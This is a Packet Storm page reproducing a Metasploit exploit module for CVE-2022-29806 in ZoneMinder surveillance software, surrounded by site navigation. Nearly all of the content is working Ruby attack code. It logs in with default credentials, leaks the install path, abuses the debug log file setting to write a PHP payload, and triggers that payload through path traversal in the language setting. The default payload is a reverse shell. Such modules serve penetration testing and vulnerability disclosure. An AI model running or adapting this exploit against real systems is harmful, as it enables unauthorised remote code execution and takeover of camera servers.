

ZoneMinder Language Settings Remote Code Execution

 Authored by [krastanoel](#) | Site [metasploit.com](#)

 Posted [May 5, 2022](#)

This Metasploit module exploits an arbitrary file write in the debug log file option chained with a path traversal in the language settings that leads to remote code execution in ZoneMinder surveillance software versions before 1.36.13 and before 1.37.11

 tags | [exploit](#), [remote](#), [arbitrary](#), [code execution](#)

 advisories | [CVE-2022-29806](#)

 SHA-256 | [de41d6871c9da39a780698ac61a0da551342a2766821ef00b00ff323d0ac1fe6](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like 0

[Tweet](#)
[LinkedIn](#)
[Reddit](#)
[Digg](#)
[StumbleUpon](#)

Change Mirror

[Download](#)

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ZoneMinder Language Settings Remote Code Execution',
        'Description' => %q{
          This module exploits arbitrary file write in debug log file option
          chained with a path traversal in language settings that leads to a
          remote code execution in ZoneMinder surveillance software versions
          before 1.36.13 and before 1.37.11
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'krastanoel' ], # Discovery and exploit
        'References' => [
          [ 'CVE', '2022-29806' ],
          [ 'URL', 'https://krastanoel.com/cve/2022-29806' ]
        ],
        'Platform' => ['php'],
        'Privileged' => false,
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'Automatic Target', {} ]
        ],
        'DisclosureDate' => '2022-04-27',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'Payload' => 'php/reverse_perl',
          'Encoder' => 'php/base64'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
  end

  register_options([
    OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']),
    OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']),
    OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/'])
  ])

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'method' => 'GET'
    )
    return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
    return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200

    if res.body =~ /ZoneMinder/
      csrf_magic = get_csrf_magic(res)
      res = authenticate(csrf_magic) if res.body =~ /ZoneMinder Login/
      return Exploit::CheckCode::Safe('Authentication failed') if res.body =~ %r{<title>ZM - Login</title>}

      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, '/index.php'),
```


[Follow us on Twitter](#)

[Subscribe to an RSS Feed](#)

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

[Red Hat 186 files](#)
[Ubuntu 52 files](#)
[Gentoo 44 files](#)
[Debian 27 files](#)
[Apple 25 files](#)
[Google Security Research 14 files](#)
[malvuln 10 files](#)
[nu11secr1ty 6 files](#)
[mjrczyk 4 files](#)
[George Tsimpidas 3 files](#)

File Tags

[ActiveX \(932\)](#)
[Advisory \(79,557\)](#)
[Arbitrary \(15,643\)](#)
[BBS \(2,859\)](#)
[Bypass \(1,615\)](#)
[CGI \(1,015\)](#)
[Code Execution \(6,913\)](#)
[Conference \(672\)](#)
[Cracker \(840\)](#)
[CSRF \(3,288\)](#)
[DoS \(22,541\)](#)
[Encryption \(2,349\)](#)
[Exploit \(50,293\)](#)
[File Inclusion \(4,162\)](#)
[File Upload \(946\)](#)
[Firewall \(821\)](#)
[Info Disclosure \(2,656\)](#)

File Archives

[November 2022](#)
[October 2022](#)
[September 2022](#)
[August 2022](#)
[July 2022](#)
[June 2022](#)
[May 2022](#)
[April 2022](#)
[March 2022](#)
[February 2022](#)
[January 2022](#)
[December 2021](#)
[Older](#)

Systems

[AIX \(426\)](#)
[Apple \(1,926\)](#)

```

        'method' => 'GET',
        'keep_cookies' => true
    )
else
    return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')
end

res.body.match(/v(1.\d+.\d+)/)
version = Regexp.last_match(1)
unless version
    return Exploit::CheckCode::Safe('Unable to determine ZoneMinder version')
end

version = Rex::Version.new(version)

return Exploit::CheckCode::Appears("Version Detected: #{version}") if version <=
Rex::Version.new('1.37.10')

Exploit::CheckCode::Safe("Version Detected: #{version}")
rescue ::Rex::ConnectionError
    return Exploit::CheckCode::Unknown('Could not connect to the web service')
end

def exploit
    unless datastore['AutoCheck']
        cookie_jar.clear
        res = authenticate
        fail_with(Failure::NoAccess, 'Authentication failed') if res&.body =~ %r{<title>ZM - Login</title>}
    end

    vprint_status('Leak installation directory path')
    random_path = rand_text_alphanumeric(6..15)
    res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, '/index.php'),
        'method' => 'GET',
        'keep_cookies' => true,
        'vars_get' => { 'view' => random_path }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to leak install path') unless res

    res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, '/index.php'),
        'method' => 'GET',
        'keep_cookies' => true,
        'vars_get' => { 'view' => 'options' }
    )

    csrf_magic = get_csrf_magic(res)
    current_lang = res&.get_html_document&.at(
        'select[@name="newConfig[ZM_LANG_DEFAULT]"']
        option[@selected="selected"]'
    )&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get current language') if res.nil? || current_lang.nil?

    data = 'view=request&request=log&task=query&limit=10'
    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
    res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, '/index.php'),
        'data' => data.to_s,
        'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Unable to get valid JSON response') if res.nil? || res&.body.blank?

    res.body.match(/\{"result":.*\}/)
    request_log = JSON.parse(Regexp.last_match(1)).with_indifferent_access
    if request_log.key?(:rows) # Check for latest version key first-v1.36.x
        request_log_key = 'rows'
    elsif request_log.key?(:logs)
        request_log_key = 'logs'
    else
        fail_with(Failure::UnexpectedReply, 'Service found, but unable to find request log key')
    end

    request_log = request_log[request_log_key].select { |e| e['Message'] =~ /\#{random_path}/ }.first
    if request_log
        path = request_log['File'].split('/')[0..-2].join('/')
        vprint_good("Path: #{path}")
    else
        fail_with(Failure::UnexpectedReply, 'Service found, but unable to leak installation directory path')
    end

    fname = "#{rand_text_alphanumeric(6..15)}.php"
    traverse_path = "#{path}/lang".split('/')[1..].map { '.'/ }.join
    shell = "#{traverse_path}tmp/#{fname}"
    data = "view=options&tab=logging&action=options&newConfig[ZM_LOG_DEBUG]=1&newConfig[ZM_LOG_DEBUG_FILE]=#{
(shell)"
    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
    res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, '/index.php'),
        'data' => data.to_s,
        'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Unable to set LOG_DEBUG_FILE option') if res.nil? || res&.code != 302
    vprint_good("Shell: #{shell}")

    p = %(<?php #{payload.encoded} ?>)
    data = "view=request&request=log&task=create&level=ERR&message=#{p}&file=#{shell}"
    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
    res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, '/index.php'),
        'data' => data.to_s,
        'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to receive a response') unless res

    result = JSON.parse(res.body)['result']
    fail_with(Failure::UnexpectedReply, 'Failed to write payload') unless result
    fail_with(Failure::UnexpectedReply, 'Unable to write payload to LOG_DEBUG_FILE') if result != 'Ok'

    # trigger the shell

```

Intrusion Detection (866)	BSD (370)
Java (2,888)	CentOS (55)
JavaScript (817)	Cisco (1,917)
Kernel (6,255)	Debian (6,620)
Local (14,173)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,390)	Gentoo (4,272)
Perl (1,417)	HPUX (878)
PHP (5,087)	iOS (330)
Proof of Concept (2,290)	iPhone (108)
Protocol (3,426)	IRIX (220)
Python (1,449)	Juniper (67)
Remote (30,009)	Linux (44,118)
Root (3,496)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,768)	OpenBSD (479)
Shell (3,098)	RedHat (12,339)
Shellcode (1,204)	Slackware (941)
Sniffer (885)	Solaris (1,607)
Spoof (2,165)	SUSE (1,444)
SQL Injection (16,089)	Ubuntu (8,147)
TCP (2,377)	UNIX (9,150)
Trojan (685)	UnixWare (185)
UDP (875)	Windows (6,504)
Virus (661)	Other
Vulnerability (31,104)	
Web (9,329)	
Whitepaper (3,728)	
x86 (946)	
XSS (17,478)	
Other	

```

lang = shell.gsub(/\.php/, '')
data = "view=options&tab=system&action=options&newConfig[ZM_LANG_DEFAULT]=#{lang}"
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
res = send_request_cgi(
  'method' => 'POST',
  'uri' => normalize_uri(target_uri.path, '/index.php'),
  'data' => data.to_s,
  'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Unable to trigger the payload') if res.nil? || res.code != 302

# cleanup
data = Rack::Utils.parse_nested_query(data)
data['newConfig']['ZM_LANG_DEFAULT'] = current_lang
res = send_request_cgi(
  'method' => 'POST',
  'uri' => normalize_uri(target_uri.path, '/index.php'),
  'data' => data.to_query,
  'keep_cookies' => true
)
vprint_warning('Unable to reset language to default') if res.nil? || res.code != 200

data['tab'] = 'logging'
data['newConfig']['ZM_LOG_DEBUG'] = 0
data['newConfig']['ZM_LOG_DEBUG_FILE'] = ''
res = send_request_cgi(
  'method' => 'POST',
  'uri' => normalize_uri(target_uri.path, '/index.php'),
  'data' => data.to_query,
  'keep_cookies' => true
)
vprint_warning('Unable to reset debug option') if res.nil? || res.code != 302
rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end

private

def get_csrf_magic(res)
  return if res.nil?

  res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text
end

def authenticate(csrf_magic = nil)
  username = datastore['USERNAME']
  password = datastore['PASSWORD']
  data = "action=login&view=login&username=#{username}&password=#{password}"
  data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
  send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, '/index.php'),
    'data' => data.to_s,
    'keep_cookies' => true
  })
end
end
end

```

[Login](#) or [Register](#) to add favorites

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

About Us

[History & Purpose](#)

[Contact Information](#)

[Terms of Service](#)

[Privacy Statement](#)

[Copyright Information](#)

Hosting By

[Rokasec](#)



Follow us on Twitter



Subscribe to an RSS Feed